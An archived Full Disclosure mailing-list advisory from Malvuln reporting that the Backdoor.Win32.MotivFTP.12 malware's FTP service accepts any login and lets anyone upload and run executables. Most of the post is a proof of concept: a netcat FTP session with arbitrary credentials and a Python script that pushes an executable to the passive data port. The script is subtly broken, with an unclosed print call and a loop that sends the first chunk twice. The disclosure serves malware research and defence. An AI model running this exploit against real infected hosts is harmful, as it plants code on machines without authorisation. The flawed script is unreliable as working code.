full-disclosure - [FD] Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE

Open Source and information security mailing list archives

Date: Fri, 7 May 2021 20:49:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/88785a093b8fa00893214dd220ac255d.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.MotivFTP.12
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21. Third-party attackers who
can reach the system can logon using any username/password combination.
Attackers may then upload executables using ftp PASV, STOR commands, this
can result in remote code execution.
Type: PE32
MD5: 88785a093b8fa00893214dd220ac255d
Vuln ID: MVID-2021-0203
Disclosure: 05/07/2021

Exploit/PoC:
1) logon as any user

nc64.exe 192.168.88.127 21
220 FTP Server ready
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,88,127,195,34).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

2) calculate port and run upload script

from socket import *

MALWARE_HOST="192.168.88.127"
PORT=49954
DOOM="DOOM.exe"   #Calculate the port 195*256+34 = 49954

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Backdoor.Win32.MotivFTP.12 / Authentication Bypass RCE")
    print("MD5: 88785a093b8fa00893214dd220ac255d"
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives